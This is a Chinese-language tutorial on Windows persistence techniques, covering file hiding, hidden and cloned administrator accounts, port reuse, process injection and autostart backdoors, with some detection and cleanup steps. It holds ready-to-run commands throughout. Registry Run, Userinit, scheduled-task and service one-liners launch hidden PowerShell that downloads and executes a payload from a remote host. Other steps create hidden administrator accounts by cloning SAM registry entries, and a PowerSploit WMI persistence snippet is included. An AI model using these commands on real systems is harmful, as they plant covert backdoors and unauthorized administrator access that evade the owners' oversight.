Windows权限维持主要包含活动隐藏、自启动等技术。
隐藏文件
利用文件属性
最简单的一种隐藏文件的方式,文件右键属性,勾选隐藏,点击确定后,在这个文件里看不到刚刚的文件了。
如果要让文件显示出来,就点击查看,勾选显示隐藏的文件,文件就显示出来。
如何真正隐藏文件?
使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和 隐藏文件属性。
attrib +s +a +h +r D:\test\project\test.txt
这样就做到了真正的隐藏,不管你是否显示隐藏文件,此文件夹都看不见。
破解隐藏文件:
打开电脑文件夹选项卡,取消”隐藏受保护的操作系统文件“勾选,把”隐藏文件和文件夹“下面的单选选择 “显示隐藏的文件、文件夹和驱动器”。
利用ADS隐藏文件内容
在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:
echo ^ > index.php:hidden.jpg
这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现 都找不出那个hidden.jpg的。
问题1:如何查看index.php:hidden.jpg内容呢?
进入文件所在目录,notepad index.php:hidden.jpg 或者 dir /r
问题2:如何删除index.php:hidden.jpg?
直接删除index.php即可
驱动级文件隐藏
驱动隐藏我们可以用过一些软件来实现,软件名字叫:Easy File Locker
下载链接: http://www.xoslab.com/efl.html
如果你在网站目录未查找到相关文件,且系统目录存在存在以下文件:
c:\WINDOWS\xlkfs.dat c:\WINDOWS\xlkfs.dll c:\WINDOWS\xlkfs.ini
c:\WINDOWS\system32\drivers\xlkfs.sys
那么你,应该是遭遇了驱动级文件隐藏。
如何清除?
1、查询服务状态: sc qc xlkfs
2、停止服务: sc stop xlkfs 服务停止以后,经驱动级隐藏的文件即可显现
3、删除服务: sc delete xlkfs
4、删除系统目录下面的文件,重启系统,确认服务已经被清理了。
隐藏文件的方式还有很多,比如伪装成一个系统文件夹图标,利用畸形文件名、保留文件名无法删除, 甚至取一个与系统文件很像的文件名并放在正常目录里面,很难辨别出来。
md \\.\d:\com1.{21ec2020-3aea-1069-A2dd-08002b30309d}
rd \\.\d:\com1.{21ec2020-3aea-1069-A2dd-08002b30309d}
这些隐藏文件的方式早已不再是秘密,而更多的恶意程序开始实现“无文件”攻击,这种方式极难被发现。
隐藏账号
window 隐藏系统用户操作,CMD命令行下,建立了一个用户名为“test$”,密码为“abc123!”的简单隐藏 账户,并且把该隐藏账户提升为了管理员权限。
PS:CMD命令行使用"net user",看不到"test$"这个账号,但在控制面板和本地用户和组是可以显示此用户 的。
克隆账号制作过程:
1、“开始”→“运行”,输入“regedt32.exe”后回车,需要到“HKEY_LOCAL_MACHINE\SAM\SAM”,单机右建 权限,把名叫:administrator的用户给予:完全控制以及读取的权限,在后面打勾就行,然后关闭注册 表编辑器,再次打开即可。
2、来到注册表编辑器的“HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names”处,点 击test$用户,得到在右边显示的键值中的“类型”一项显示为0x3ec,找到箭头所指目录。
3、找到administrator所对应的的项为“000001F4”,将“000001F4”的F值复制到“000003EC”的F值中,保存。
4、分别test$和“000003EC导出到桌面,删除test$用户 net user test$ /del
5、将刚才导出的两个后缀为.reg的注册表项导入注册表中。这样所谓的隐藏账户就创建好了。PS:不管 你是在命令提示符下输入net user 或者在系统用户管理界面都是看不到test$这个账户的,只有在注册表 中才能看得到。
检测和清理方法:
使用D盾_web查杀工具,使用克隆账号检测功能进行查看,可检测出隐藏、克隆账号。
端口复用
通过端口复用来达到隐藏端口的目的,在Window下,如何实现端口复用呢?
前阵子,@Twi1ight公布了一种基于内置系统服务的端口复用后门方法,利用WinRM服务,一条命令实 现端口复用后门:
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
一般开启WinRM服务作为远程管理,但还是第一次听到可以作为端口复用,一种简单容易实现的端口复 用方式。假设,攻击者已获取到administrator账号密码,连接远程WinRM服务执行命令:
当执行这条命令的同时,将在安全日志中留下痕迹,
另外,可以通过代码实现端口复用重定向,工具:https://github.com/crabkun/Switcher
进程注入
进程注入,一直是病毒木马的惯用手段,同时,它也是一种隐藏技术。在常见的渗透测试框架中,进程 注入是怎么做的以及我们如何通过工具排查出来?
1、meterpreter会话注入
当前权限无法获取hash值,查看目前系统进程
通过migrate将进程注入到system进程后,成功获得hash值。
Window后门排查:
通过TCPview显示已建立的TCP连接,我们可以看到异常的连接,同时,恶意软件将以绿色显示不到一秒钟,然后变成红色消失,如此循环。
2、Empire会话进程注入
通过psinject模块进行会话注入,直接输入ps选择一个SYSTEM权限的进程PID,使用进程注入模块,来 获取权限。如下图:
Window后门排查:利用process monitor或者火绒剑监控进程都可以定位到注入进程。
3、Cobalt Strike进程注入
选择进程,点击inject,随后选择监听器,点击choose,即可发现Cobaltstrike弹回了目标机的一个新会 话,这个会话就是成功注入到某进程的beacon。
Window后门排查:利用process monitor捕捉通信过程,有规律的请求取决于sleep设置的间隔。
注册表自启动
通过修改注册表自启动键值,添加一个木马程序路径,实现开机自启动。
常用的注册表启动键:
# Run键 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run # Winlogon\Userinit 键 HKEY_CURRENT_USER\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon 类似的还有 很多,关键词:注册表启动键值。
使用以下命令可以一键实现无文件注册表后门:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c "IEX ((newobject net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))"" /f
Logon Scripts 后门
注册表路径:HKEY_CURRENT_USER\Environment\
创建字符串键值: UserInitMprLogonScript,键值设置为bat的绝对路径:c:\test.bat
userinit后门
在用户进行登陆时,winlogon运行指定的程序。根据官方文档,可以更改它的值来添加与删除程序。 利用USERINIT注册表键实现无文件后门: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] "Userinit"="C:\Windows\system32\userinit.exe,C:\Windows\System32\WindowsPowerShell\v1.0\p owershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.2 8.142:8888/logo.gif'))""
组策略设置脚本启动
运行gpedit.msc进入本地组策略,通过Windows设置的“脚本(启动/关机)”项来说实现。因为其极具隐蔽 性,因此常常被攻击者利用来做服务器后门。
容易遇到的问题:脚本需全路径,如
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
计划任务
通过window系统的任务计划程序功能实现定时启动某个任务,执行某个脚本。
使用以下命令可以一键实现:
schtasks /create /sc minute /mo 1 /tn "Security Script" /tr "powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring("""http://192.168.28.142:8888/logo.gif"""))""
容易遇到的问题:cmd命令行执行单引号会被替换成双引号,故这里使用三个双引号替代。
计划脚本每 1 分钟运行一次。
服务自启动
通过服务设置自启动,结合powershell实现无文件后门。
使用以下命令可实现:
sc create "KeyName" binpath= "cmd /c start powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))"" sc description KeyName "Just For Test" //设置服务的描述字符串 sc config Name start= auto //设置这个服务为自动启 动 net start Name //启动服务
成功创建了一个自启动服务
WMI后门
在2015年的blackhat大会上Matt Graeber介绍了一种无文件后门就是用的WMI。这里可以利用一个工具 powersploit,下面用它的Persistence模块来示范一个简单的例子。
Import-Module .\Persistence\Persistence.psm1
$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM'
$UserOptions = New-UserPersistenceOption -Registry -AtLogon Add-Persistence -FilePath
.\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
dll劫持
如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去指定的目录下查找这个 DLL;如果攻击者能够控制其中的某一 个目录,并且放一个恶意的DLL文件到这个目录下,这个恶意的 DLL便会被进程所加载,从而造成代码执行。
比较常用的如LPK.dll的劫持:
win7及win7以上系统增加了KnownDLLs保护,需要在注册表:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnown Dlls
下添加 “lpk.dll” 才能顺利劫持:
COM劫持
利用COM劫持技术,最为关键的是dll的实现以及CLSID的选择,通过修改CLSID下的注册表键值,实现对 CAccPropServicesClass和MMDeviceEnumerator劫持,而系统很多正常程序启动时需要调用这两个实 例。这种方法可以绕过Autoruns对启动项的检测。
远程控制
远控木马是一种恶意程序,其中包括在目标计算机上用于管理控制的后门。远程访问木马通常与用户请 求的程序(如游戏程序)一起,是一种看不见的下载,或作为电子邮件附件发送。一旦主机系统被攻 破,入侵者可以利用它来向其他易受感染的计算机分发远程访问木马,从而建立僵尸网络。
一般分为客户端和服务端,如:灰鸽子、上兴远控、梦想时代、QuasarRAT等。